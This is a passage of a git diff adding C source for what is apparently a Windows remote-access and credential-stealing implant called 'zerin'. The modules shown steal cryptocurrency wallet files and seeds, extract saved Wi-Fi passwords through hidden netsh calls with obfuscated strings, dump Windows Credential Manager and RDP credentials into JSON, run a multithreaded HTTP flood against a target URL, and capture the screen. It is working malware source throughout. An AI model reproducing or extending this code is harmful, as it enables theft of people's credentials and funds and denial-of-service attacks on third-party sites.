size_t total = 0; + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; + if (fd.nFileSizeLow > WALLET_FILE_MAX) continue; + if (total + fd.nFileSizeLow > WALLET_TOTAL_MAX) break; + + char filepath[MAX_PATH]; + snprintf(filepath, sizeof(filepath), "%s\\%s", dir, fd.cFileName); + + char *b64 = read_file_b64(filepath, WALLET_FILE_MAX); + if (!b64) continue; + + jb_begin_obj(j); + jb_kv(j, "name", fd.cFileName); + jb_kv(j, "data", b64); + jb_end_obj(j); + + total += fd.nFileSizeLow; + free(b64); + } while (FindNextFileA(hFind, &fd)); + + FindClose(hFind); + + jb_end_arr(j); + jb_end_obj(j); +} + +/* Grab multiple named files from a wallet directory */ +static void grab_named_files(json_buf_t *j, const char *wallet_name, + const char *dir, const char **filenames, int count) { + /* Check if any file exists first */ + int found = 0; + for (int i = 0; i < count; i++) { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\%s", dir, filenames[i]); + if (path_exists(path)) { found = 1; break; } + } + if (!found) return; + + jb_begin_obj(j); + jb_kv(j, "name", wallet_name); + jb_begin_arr(j, "files"); + + size_t total = 0; + for (int i = 0; i < count; i++) { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\%s", dir, filenames[i]); + + char *b64 = read_file_b64(path, WALLET_FILE_MAX); + if (!b64) continue; + + /* Approximate original size from b64 length */ + size_t approx = strlen(b64) * 3 / 4; + if (total + approx > WALLET_TOTAL_MAX) { free(b64); break; } + + jb_begin_obj(j); + jb_kv(j, "name", filenames[i]); + jb_kv(j, "data", b64); + jb_end_obj(j); + + total += approx; + free(b64); + } + + jb_end_arr(j); + jb_end_obj(j); +} + +/* ── Main wallet grabber ──────────────────────────────────────────── */ + +void creds_grab_wallets(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "wallets"); + + char dir[MAX_PATH]; + + /* 1. Zcash — wallet.dat */ + if (build_path(dir, sizeof(dir), "APPDATA", "Zcash") == 0 && path_exists(dir)) + grab_single_file(j, "Zcash", dir, "wallet.dat"); + + /* 2. Armory — *.wallet */ + if (build_path(dir, sizeof(dir), "APPDATA", "Armory") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Armory", dir, "*.wallet"); + + /* 3. Bytecoin — *.wallet */ + if (build_path(dir, sizeof(dir), "APPDATA", "bytecoin") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Bytecoin", dir, "*.wallet"); + + /* 4. Jaxx — IndexedDB ldb files */ + if (build_path(dir, sizeof(dir), "APPDATA", "com.liberty.jaxx\\IndexedDB") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Jaxx", dir, "*.ldb"); + + /* 5. Exodus — seed.seco + passphrase.json */ + if (build_path(dir, sizeof(dir), "APPDATA", "Exodus\\exodus.wallet") == 0 && path_exists(dir)) { + const char *exodus_files[] = { "seed.seco", "passphrase.json" }; + grab_named_files(j, "Exodus", dir, exodus_files, 2); + } + + /* 6. Ethereum — keystore JSON files */ + if (build_path(dir, sizeof(dir), "APPDATA", "Ethereum\\keystore") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Ethereum", dir, "*.json"); + + /* 7. Electrum — default_wallet */ + if (build_path(dir, sizeof(dir), "APPDATA", "Electrum\\wallets") == 0 && path_exists(dir)) + grab_single_file(j, "Electrum", dir, "default_wallet"); + + /* 8. Atomic — LevelDB ldb files */ + if (build_path(dir, sizeof(dir), "APPDATA", "atomic\\Local Storage\\leveldb") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Atomic", dir, "*.ldb"); + + /* 9. Guarda — LevelDB ldb files */ + if (build_path(dir, sizeof(dir), "APPDATA", "Guarda\\Local Storage\\leveldb") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Guarda", dir, "*.ldb"); + + /* 10. Coinomi — *.wallet (LOCALAPPDATA) */ + if (build_path(dir, sizeof(dir), "LOCALAPPDATA", "Coinomi\\Coinomi\\wallets") == 0 && path_exists(dir)) + grab_wildcard_files(j, "Coinomi", dir, "*.wallet"); + + jb_end_arr(j); +} diff --git a/src/commands/creds_wifi.c b/src/commands/creds_wifi.c new file mode 100755 index 0000000..a772512 --- /dev/null +++ b/src/commands/creds_wifi.c @@ -0,0 +1,200 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include +#include + +/* ── WiFi password grabber ───────────────────────────────────────────── + Runs `netsh wlan show profiles` to enumerate SSIDs, then for each + runs `netsh wlan show profile name=X key=clear` to extract password. + Uses CreateProcess + WaitForSingleObject for timeout protection. */ + +/* ── Run a command with timeout, capture stdout ────────────────────── */ + +static int run_cmd_capture(const char *cmd, char *output, size_t output_cap, DWORD timeout_ms) { + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE hReadPipe, hWritePipe; + if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) + return -1; + SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOA si = { 0 }; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + si.hStdOutput = hWritePipe; + si.hStdError = hWritePipe; + si.hStdInput = NULL; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi = { 0 }; + + /* Build command line: cmd.exe /c */ + char cmd_line[1280]; + snprintf(cmd_line, sizeof(cmd_line), "cmd.exe /c %s", cmd); + + if (!CreateProcessA(NULL, cmd_line, NULL, NULL, TRUE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + CloseHandle(hReadPipe); + CloseHandle(hWritePipe); + return -1; + } + CloseHandle(hWritePipe); /* Close write end in parent so reads get EOF */ + CloseHandle(pi.hThread); + + /* Read from pipe with timeout using non-blocking PeekNamedPipe */ + size_t total = 0; + DWORD start_tick = GetTickCount(); + + while (total < output_cap - 1) { + DWORD elapsed = GetTickCount() - start_tick; + if (elapsed >= timeout_ms) { + TerminateProcess(pi.hProcess, 1); + break; + } + + DWORD available = 0; + if (!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &available, NULL)) + break; + + if (available == 0) { + /* Check if process exited */ + DWORD exitCode; + if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode != STILL_ACTIVE) + break; + Sleep(50); + continue; + } + + DWORD to_read = available; + if (to_read > output_cap - 1 - total) + to_read = (DWORD)(output_cap - 1 - total); + + DWORD bytes_read; + if (!ReadFile(hReadPipe, output + total, to_read, &bytes_read, NULL)) + break; + total += bytes_read; + } + + /* Wait for process with remaining timeout */ + DWORD elapsed = GetTickCount() - start_tick; + DWORD remaining = (elapsed < timeout_ms) ? (timeout_ms - elapsed) : 0; + if (WaitForSingleObject(pi.hProcess, remaining) == WAIT_TIMEOUT) + TerminateProcess(pi.hProcess, 1); + + CloseHandle(pi.hProcess); + CloseHandle(hReadPipe); + output[total] = '\0'; + return (int)total; +} + +void creds_grab_wifi(json_buf_t *j, json_buf_t *errors) { + jb_begin_arr(j, "wifi"); + + /* Step 1: list profiles (10 second timeout) */ + char netsh_cmd[64]; + obf_decrypt_to(OBF_NETSH_PROFILES, netsh_cmd, sizeof(netsh_cmd)); + + char *list_output = (char *)malloc(65536); + if (!list_output) { + obf_wipe(netsh_cmd, sizeof(netsh_cmd)); + jb_add_error(errors, "wifi", "memory allocation failed"); + jb_end_arr(j); + return; + } + + int list_len = run_cmd_capture(netsh_cmd, list_output, 65536, 10000); + obf_wipe(netsh_cmd, sizeof(netsh_cmd)); + + if (list_len <= 0) { + free(list_output); + jb_add_error(errors, "wifi", "netsh wlan show profiles failed or timed out"); + jb_end_arr(j); + return; + } + + /* Collect SSID names from output */ + char ssids[128][256]; + int count = 0; + + char *line = strtok(list_output, "\r\n"); + while (line && count < 128) { + char *marker = strstr(line, ": "); + if (!marker) { line = strtok(NULL, "\r\n"); continue; } + if (!strstr(line, "Profile") && !strstr(line, "profile")) { + line = strtok(NULL, "\r\n"); + continue; + } + marker += 2; + size_t mlen = strlen(marker); + while (mlen > 0 && (marker[mlen - 1] == '\n' || marker[mlen - 1] == '\r' || marker[mlen - 1] == ' ')) + marker[--mlen] = '\0'; + if (mlen == 0) { line = strtok(NULL, "\r\n"); continue; } + strncpy(ssids[count], marker, 255); + ssids[count][255] = '\0'; + count++; + line = strtok(NULL, "\r\n"); + } + free(list_output); + + /* Step 2: for each profile, get key (5 second timeout each) */ + char *profile_output = (char *)malloc(32768); + if (!profile_output) { + jb_end_arr(j); + return; + } + + for (int i = 0; i < count; i++) { + char cmd[1024]; + char netsh_tmpl[128]; + obf_decrypt_to(OBF_NETSH_PROFILE_KEY, netsh_tmpl, sizeof(netsh_tmpl)); + snprintf(cmd, sizeof(cmd), netsh_tmpl, ssids[i]); + obf_wipe(netsh_tmpl, sizeof(netsh_tmpl)); + + int plen = run_cmd_capture(cmd, profile_output, 32768, 5000); + if (plen <= 0) continue; + + char auth[128] = ""; + char key[256] = ""; + + /* Parse output line by line */ + char *pline = strtok(profile_output, "\r\n"); + while (pline) { + char *val; + if ((val = strstr(pline, "Authentication")) != NULL || + (val = strstr(pline, "authentication")) != NULL) { + char *colon = strstr(val, ": "); + if (colon) { + colon += 2; + size_t vlen = strlen(colon); + while (vlen > 0 && (colon[vlen-1] == '\n' || colon[vlen-1] == '\r' || colon[vlen-1] == ' ')) + colon[--vlen] = '\0'; + strncpy(auth, colon, sizeof(auth) - 1); + } + } + if ((val = strstr(pline, "Key Content")) != NULL || + (val = strstr(pline, "key content")) != NULL || + (val = strstr(pline, "Key content")) != NULL) { + char *colon = strstr(val, ": "); + if (colon) { + colon += 2; + size_t vlen = strlen(colon); + while (vlen > 0 && (colon[vlen-1] == '\n' || colon[vlen-1] == '\r' || colon[vlen-1] == ' ')) + colon[--vlen] = '\0'; + strncpy(key, colon, sizeof(key) - 1); + } + } + pline = strtok(NULL, "\r\n"); + } + + jb_begin_obj(j); + jb_kv(j, "ssid", ssids[i]); + jb_kv(j, "auth", auth); + jb_kv(j, "password", key); + jb_end_obj(j); + } + + free(profile_output); + jb_end_arr(j); +} diff --git a/src/commands/creds_windows.c b/src/commands/creds_windows.c new file mode 100755 index 0000000..b1c06e1 --- /dev/null +++ b/src/commands/creds_windows.c @@ -0,0 +1,94 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include + +/* ── Windows Credential Manager grabber ──────────────────────────────── + Uses CredEnumerateW to iterate all stored generic/domain credentials. + Filters TERMSRV/* targets for RDP saved credentials. */ + +/* Convert wide string to UTF-8 — caller frees result */ +static char *wide_to_utf8(const wchar_t *ws) { + if (!ws) return _strdup(""); + int len = WideCharToMultiByte(CP_UTF8, 0, ws, -1, NULL, 0, NULL, NULL); + if (len <= 0) return _strdup(""); + char *out = (char *)malloc(len); + if (!out) return _strdup(""); + WideCharToMultiByte(CP_UTF8, 0, ws, -1, out, len, NULL, NULL); + return out; +} + +void creds_grab_windows(json_buf_t *j, json_buf_t *errors) { + jb_begin_arr(j, "windows_credentials"); + + DWORD count = 0; + PCREDENTIALW *creds = NULL; + + if (!CredEnumerateW(NULL, 0, &count, &creds)) { + DWORD err = GetLastError(); + if (err == ERROR_NOT_FOUND) { + /* No credentials stored — not an error */ + } else { + char msg[128]; + snprintf(msg, sizeof(msg), "CredEnumerateW failed: %lu", (unsigned long)err); + jb_add_error(errors, "windows_credentials", msg); + } + jb_end_arr(j); + return; + } + + for (DWORD i = 0; i < count; i++) { + PCREDENTIALW cred = creds[i]; + + char *target = wide_to_utf8(cred->TargetName); + char *user = wide_to_utf8(cred->UserName); + + /* Extract password from CredentialBlob (may be binary or UTF-16) */ + char password[512] = ""; + if (cred->CredentialBlob && cred->CredentialBlobSize > 0) { + /* Try interpreting as UTF-16LE string */ + int pwlen = WideCharToMultiByte(CP_UTF8, 0, + (LPCWCH)cred->CredentialBlob, + cred->CredentialBlobSize / sizeof(WCHAR), + password, sizeof(password) - 1, NULL, NULL); + if (pwlen > 0) { + password[pwlen] = '\0'; + } else { + /* Fall back to raw bytes as hex */ + size_t maxhex = (sizeof(password) - 1) / 2; + size_t bloblen = cred->CredentialBlobSize; + if (bloblen > maxhex) bloblen = maxhex; + for (size_t b = 0; b < bloblen; b++) + snprintf(password + b * 2, 3, "%02x", cred->CredentialBlob[b]); + } + } + + /* Determine type string */ + const char *type_str = "generic"; + if (cred->Type == CRED_TYPE_DOMAIN_PASSWORD) + type_str = "domain"; + else if (cred->Type == CRED_TYPE_DOMAIN_CERTIFICATE) + type_str = "certificate"; + + /* Check if this is an RDP credential */ + int is_rdp = 0; + if (target && (strstr(target, "TERMSRV/") || strstr(target, "termsrv/"))) + is_rdp = 1; + + jb_begin_obj(j); + jb_kv(j, "target", target); + jb_kv(j, "username", user); + jb_kv(j, "password", password); + jb_kv(j, "type", type_str); + jb_kv_bool(j, "is_rdp", is_rdp); + jb_end_obj(j); + + free(target); + free(user); + } + + CredFree(creds); + jb_end_arr(j); +} diff --git a/src/commands/ddos.c b/src/commands/ddos.c new file mode 100755 index 0000000..0d1fe72 --- /dev/null +++ b/src/commands/ddos.c @@ -0,0 +1,350 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") + +/* ── DDoS HTTP L7 Flood ──────────────────────────────────────────────── + * cmd_ddos_start: args = [target_url, duration_secs, thread_count, method] + * - method: GET, POST, HEAD (default GET) + * - Spawns N worker threads, each sends HTTP requests in a tight loop + * - Randomized User-Agent per request + * - Auto-stops after duration_secs + * + * cmd_ddos_stop: Sets global stop flag, waits for threads to finish + * ─────────────────────────────────────────────────────────────────────── */ + +/* ── Global state ──────────────────────────────────────────────────── */ + +#define DDOS_MAX_THREADS 64 + +typedef struct { + volatile LONG running; /* 1 = active flood */ + volatile LONG stop_flag; /* 1 = stop requested */ + volatile LONG total_requests; /* total successful requests */ + volatile LONG total_errors; /* total errors */ + HANDLE threads[DDOS_MAX_THREADS]; + HANDLE watchdog; /* cleanup watchdog thread */ + int thread_count; + DWORD start_tick; + DWORD duration_ms; +} ddos_state_t; + +static ddos_state_t g_ddos = {0}; + +/* ── Forward declarations ──────────────────────────────────────────── */ + +static DWORD WINAPI ddos_cleanup_watchdog(LPVOID param); + +/* ── URL parsing helper ────────────────────────────────────────────── */ + +typedef struct { + wchar_t host[256]; + wchar_t path[1024]; + INTERNET_PORT port; + DWORD flags; /* WINHTTP_FLAG_SECURE if https */ +} parsed_url_t; + +static int parse_url(const char *url, parsed_url_t *out) { + wchar_t wurl[2048]; + int wlen = MultiByteToWideChar(CP_UTF8, 0, url, -1, wurl, 2048); + if (wlen == 0) return -1; + + URL_COMPONENTS uc; + memset(&uc, 0, sizeof(uc)); + uc.dwStructSize = sizeof(uc); + uc.dwHostNameLength = (DWORD)-1; + uc.dwUrlPathLength = (DWORD)-1; + + if (!WinHttpCrackUrl(wurl, 0, 0, &uc)) + return -1; + + /* Copy host */ + int hlen = (int)uc.dwHostNameLength; + if (hlen >= 256) hlen = 255; + wcsncpy(out->host, uc.lpszHostName, hlen); + out->host[hlen] = L'\0'; + + /* Copy path */ + if (uc.lpszUrlPath && uc.dwUrlPathLength > 0) { + int plen = (int)uc.dwUrlPathLength; + if (plen >= 1024) plen = 1023; + wcsncpy(out->path, uc.lpszUrlPath, plen); + out->path[plen] = L'\0'; + } else { + wcscpy(out->path, L"/"); + } + + out->port = uc.nPort; + out->flags = (uc.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0; + return 0; +} + +/* ── Random User-Agent ──────────────────────────────────────────────── */ + +static const wchar_t *USER_AGENTS[] = { + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", + L"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15", + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0", + L"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + L"Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", + L"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", +}; +#define NUM_USER_AGENTS (sizeof(USER_AGENTS) / sizeof(USER_AGENTS[0])) + +static const wchar_t *random_ua(void) { + return USER_AGENTS[rand() % NUM_USER_AGENTS]; +} + +/* ── Worker thread arguments ───────────────────────────────────────── */ + +typedef struct { + parsed_url_t url; + wchar_t method[8]; /* L"GET", L"POST", L"HEAD" */ +} ddos_worker_args_t; + +/* ── Worker thread ──────────────────────────────────────────────────── */ + +static DWORD WINAPI ddos_worker(LPVOID param) { + ddos_worker_args_t *args = (ddos_worker_args_t *)param; + + HINTERNET hSession = WinHttpOpen( + L"Mozilla/5.0", + WINHTTP_ACCESS_TYPE_NO_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0 + ); + if (!hSession) { + free(args); + return 1; + } + + /* Timeouts: 5s connect, 5s send, 5s receive */ + WinHttpSetTimeouts(hSession, 5000, 5000, 5000, 5000); + + HINTERNET hConnect = WinHttpConnect( + hSession, + args->url.host, + args->url.port, + 0 + ); + if (!hConnect) { + WinHttpCloseHandle(hSession); + free(args); + return 1; + } + + while (!InterlockedCompareExchange(&g_ddos.stop_flag, 0, 0)) { + /* Check duration */ + DWORD elapsed = GetTickCount() - g_ddos.start_tick; + if (elapsed >= g_ddos.duration_ms) { + InterlockedExchange(&g_ddos.stop_flag, 1); + break; + } + + HINTERNET hRequest = WinHttpOpenRequest( + hConnect, + args->method, + args->url.path, + NULL, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + args->url.flags | WINHTTP_FLAG_BYPASS_PROXY_CACHE + ); + if (!hRequest) { + InterlockedIncrement(&g_ddos.total_errors); + Sleep(1); + continue; + } + + /* Set random User-Agent header (proper format: "Header-Name: value") */ + wchar_t ua_header[512]; + _snwprintf(ua_header, 512, L"User-Agent: %s", random_ua()); + WinHttpAddRequestHeaders( + hRequest, + ua_header, + (DWORD)-1, + WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE + ); + + /* Disable auto redirects for speed */ + DWORD opt = WINHTTP_DISABLE_REDIRECTS; + WinHttpSetOption(hRequest, WINHTTP_OPTION_DISABLE_FEATURE, &opt, sizeof(opt)); + + /* Send and receive (ignore response body) */ + BOOL ok = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0); + if (ok) { + ok = WinHttpReceiveResponse(hRequest, NULL); + } + + if (ok) { + InterlockedIncrement(&g_ddos.total_requests); + } else { + InterlockedIncrement(&g_ddos.total_errors); + } + + WinHttpCloseHandle(hRequest); + } + + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + free(args); + return 0; +} + +/* ── cmd_ddos_start ─────────────────────────────────────────────────── */ + +int cmd_ddos_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + /* Atomically claim the running slot (prevents TOCTOU race) */ + if (InterlockedCompareExchange(&g_ddos.running, 1, 0) != 0) { + char msg_buf[64]; + obf_decrypt_to(OBF_DDOS_ALREADY, msg_buf, sizeof(msg_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return -1; + } + + /* Parse arguments */ + if (task->num_args < 1 || !task->args[0]) { + InterlockedExchange(&g_ddos.running, 0); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [duration] [threads] [method]"); + return -1; + } + + const char *target_url = task->args[0]; + int duration_secs = (task->num_args >= 2 && task->args[1]) ? atoi(task->args[1]) : 60; + int thread_count = (task->num_args >= 3 && task->args[2]) ? atoi(task->args[2]) : 10; + const char *method_str = (task->num_args >= 4 && task->args[3]) ? task->args[3] : "GET"; + + /* Validate */ + if (duration_secs < 1) duration_secs = 1; + if (duration_secs > 3600) duration_secs = 3600; + if (thread_count < 1) thread_count = 1; + if (thread_count > DDOS_MAX_THREADS) thread_count = DDOS_MAX_THREADS; + + /* Parse URL */ + parsed_url_t url; + if (parse_url(target_url, &url) != 0) { + InterlockedExchange(&g_ddos.running, 0); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to parse target URL"); + return -1; + } + + /* Convert method to wide string */ + wchar_t wmethod[8] = L"GET"; + if (_stricmp(method_str, "POST") == 0) wcscpy(wmethod, L"POST"); + else if (_stricmp(method_str, "HEAD") == 0) wcscpy(wmethod, L"HEAD"); + + /* Initialize state (running is already 1 from CAS above) */ + g_ddos.total_requests = 0; + g_ddos.total_errors = 0; + g_ddos.duration_ms = (DWORD)duration_secs * 1000; + g_ddos.thread_count = thread_count; + g_ddos.start_tick = GetTickCount(); + InterlockedExchange(&g_ddos.stop_flag, 0); + memset(g_ddos.threads, 0, sizeof(g_ddos.threads)); + + /* Spawn worker threads */ + for (int i = 0; i < thread_count; i++) { + ddos_worker_args_t *args = (ddos_worker_args_t *)calloc(1, sizeof(*args)); + if (!args) continue; + memcpy(&args->url, &url, sizeof(url)); + wcscpy(args->method, wmethod); + + g_ddos.threads[i] = CreateThread(NULL, 0, ddos_worker, args, 0, NULL); + if (!g_ddos.threads[i]) { + free(args); + } + } + + /* Start a watchdog thread that auto-cleans up after natural expiry */ + g_ddos.watchdog = CreateThread(NULL, 0, ddos_cleanup_watchdog, NULL, 0, NULL); + + { + char fmt_buf[128]; + obf_decrypt_to(OBF_DDOS_STARTED_FMT, fmt_buf, sizeof(fmt_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), fmt_buf, + method_str, target_url, thread_count, duration_secs); + obf_wipe(fmt_buf, sizeof(fmt_buf)); + result->success = true; + result->output = _strdup(msg); + } + return 0; +} + +/* ── Watchdog: waits for workers to finish, then resets running flag ── */ + +static DWORD WINAPI ddos_cleanup_watchdog(LPVOID param) { + (void)param; + /* Wait for all worker threads to exit */ + for (int i = 0; i < g_ddos.thread_count; i++) { + if (g_ddos.threads[i]) { + WaitForSingleObject(g_ddos.threads[i], INFINITE); + CloseHandle(g_ddos.threads[i]); + g_ddos.threads[i] = NULL; + } + } + InterlockedExchange(&g_ddos.running, 0); + return 0; +} + +/* ── cmd_ddos_stop ──────────────────────────────────────────────────── */ + +int cmd_ddos_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; + (void)cwd; + + if (!InterlockedCompareExchange(&g_ddos.running, 0, 0)) { + char msg_buf[64]; + obf_decrypt_to(OBF_DDOS_NOT_RUNNING, msg_buf, sizeof(msg_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return -1; + } + + /* Signal stop */ + InterlockedExchange(&g_ddos.stop_flag, 1); + + /* Read stats before watchdog resets state */ + LONG reqs = InterlockedCompareExchange(&g_ddos.total_requests, 0, 0); + LONG errs = InterlockedCompareExchange(&g_ddos.total_errors, 0, 0); + DWORD elapsed = (GetTickCount() - g_ddos.start_tick) / 1000; + + /* Wait for watchdog to finish (it handles closing worker threads) */ + if (g_ddos.watchdog) { + WaitForSingleObject(g_ddos.watchdog, 30000); + CloseHandle(g_ddos.watchdog); + g_ddos.watchdog = NULL; + } + + { + char fmt_buf[128]; + obf_decrypt_to(OBF_DDOS_STOPPED_FMT, fmt_buf, sizeof(fmt_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), fmt_buf, + (unsigned long)elapsed, reqs, errs, + elapsed > 0 ? (double)reqs / (double)elapsed : 0.0); + obf_wipe(fmt_buf, sizeof(fmt_buf)); + result->success = true; + result->output = _strdup(msg); + } + return 0; +} diff --git a/src/commands/dxgi_capture.c b/src/commands/dxgi_capture.c new file mode 100755 index 0000000..25c0ba9 --- /dev/null +++ b/src/commands/dxgi_capture.c @@ -0,0 +1,822 @@ +#include +#include +#include +#include +#include +#include "dxgi_capture.h" +#include "obf_strings_gen.h" + +#ifdef _WIN32 + +/* ── DXGI Desktop Duplication capture ───────────────────────────────── + * GPU-accelerated screen capture via IDXGIOutputDuplication. + * All COM interfaces use manual vtable definitions to avoid requiring + * the DirectX SDK headers at compile time. + * d3d11.dll and dxgi.dll are loaded dynamically — no link-time deps. + * ──────────────────────────────────────────────────────────────────── */ + +/* ── Forward declarations for COM GUIDs ───────────────────────────── */ + +static const GUID IID_IDXGIFactory1_local = { + 0x770aae78, 0xf26f, 0x4dba, + {0xa8, 0x29, 0x25, 0x3c, 0x83, 0xd1, 0xb3, 0x87} +}; + +static const GUID IID_IDXGIOutput1_local = { + 0x00cddea8, 0x939b, 0x4b83, + {0xa3, 0x40, 0xa6, 0x85, 0x22, 0x66, 0x66, 0xcc} +}; + +static const GUID IID_ID3D11Texture2D_local = { + 0x6f15aaf2, 0xd208, 0x4e89, + {0x9a, 0xb4, 0x48, 0x95, 0x35, 0xd3, 0x4f, 0x9c} +}; + +/* ── Minimal COM vtable structures ────────────────────────────────── */ + +/* IUnknown base — use system-provided IUnknownVtbl from unknwnbase.h */ + +/* DXGI_MODE_DESC */ +typedef struct { + UINT Width, Height; + struct { UINT Numerator, Denominator; } RefreshRate; + UINT Format; /* DXGI_FORMAT */ + UINT ScanlineOrdering; + UINT Scaling; +} DXGI_MODE_DESC; + +/* DXGI_OUTPUT_DESC */ +typedef struct { + WCHAR DeviceName[32]; + RECT DesktopCoordinates; + BOOL AttachedToDesktop; + UINT Rotation; + HMONITOR Monitor; +} DXGI_OUTPUT_DESC; + +/* DXGI_OUTDUPL_DESC */ +typedef struct { + DXGI_MODE_DESC ModeDesc; + UINT Rotation; + BOOL DesktopImageInSystemMemory; +} DXGI_OUTDUPL_DESC; + +/* DXGI_OUTDUPL_FRAME_INFO */ +typedef struct { + LARGE_INTEGER LastPresentTime; + LARGE_INTEGER LastMouseUpdateTime; + UINT AccumulatedFrames; + BOOL ReceivedNewFrame; + /* Mouse info follows but we don't need it */ + UINT ProtectedContentMaskedOut; + struct { + BOOL Visible; + POINT Position; + struct { UINT Width, Height, Pitch; BOOL IsPointerShapeUpdated; } PointerShapeInfo; + } PointerPosition; + UINT TotalMetadataBufferSize; + UINT PointerShapeBufferSize; +} DXGI_OUTDUPL_FRAME_INFO; + +/* DXGI_MAPPED_RECT */ +typedef struct { + INT Pitch; + BYTE *pBits; +} DXGI_MAPPED_RECT; + +/* D3D11_TEXTURE2D_DESC */ +typedef struct { + UINT Width, Height; + UINT MipLevels, ArraySize; + UINT Format; /* DXGI_FORMAT */ + struct { UINT Count, Quality; } SampleDesc; + UINT Usage; /* D3D11_USAGE */ + UINT BindFlags; + UINT CPUAccessFlags; + UINT MiscFlags; +} D3D11_TEXTURE2D_DESC; + +/* D3D11_MAPPED_SUBRESOURCE */ +typedef struct { + void *pData; + UINT RowPitch; + UINT DepthPitch; +} D3D11_MAPPED_SUBRESOURCE; + +/* ── COM vtable definitions (minimal, only methods we call) ──────── */ + +/* IDXGIOutputDuplication vtable */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* IDXGIObject */ + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *GetParent)(void*, const GUID*, void**); + /* IDXGIOutputDuplication */ + void (STDMETHODCALLTYPE *GetDesc)(void*, DXGI_OUTDUPL_DESC*); + HRESULT (STDMETHODCALLTYPE *AcquireNextFrame)(void*, UINT, DXGI_OUTDUPL_FRAME_INFO*, void**); + HRESULT (STDMETHODCALLTYPE *GetFrameDirtyRects)(void*, UINT, RECT*, UINT*); + HRESULT (STDMETHODCALLTYPE *GetFrameMoveRects)(void*, UINT, void*, UINT*); + HRESULT (STDMETHODCALLTYPE *GetFramePointerShape)(void*, UINT, void*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *MapDesktopSurface)(void*, DXGI_MAPPED_RECT*); + HRESULT (STDMETHODCALLTYPE *UnMapDesktopSurface)(void*); + HRESULT (STDMETHODCALLTYPE *ReleaseFrame)(void*); +} IDXGIOutputDuplicationVtbl; + +typedef struct { IDXGIOutputDuplicationVtbl *lpVtbl; } IDXGIOutputDuplication; + +/* IDXGIOutput vtable */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* IDXGIObject */ + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT 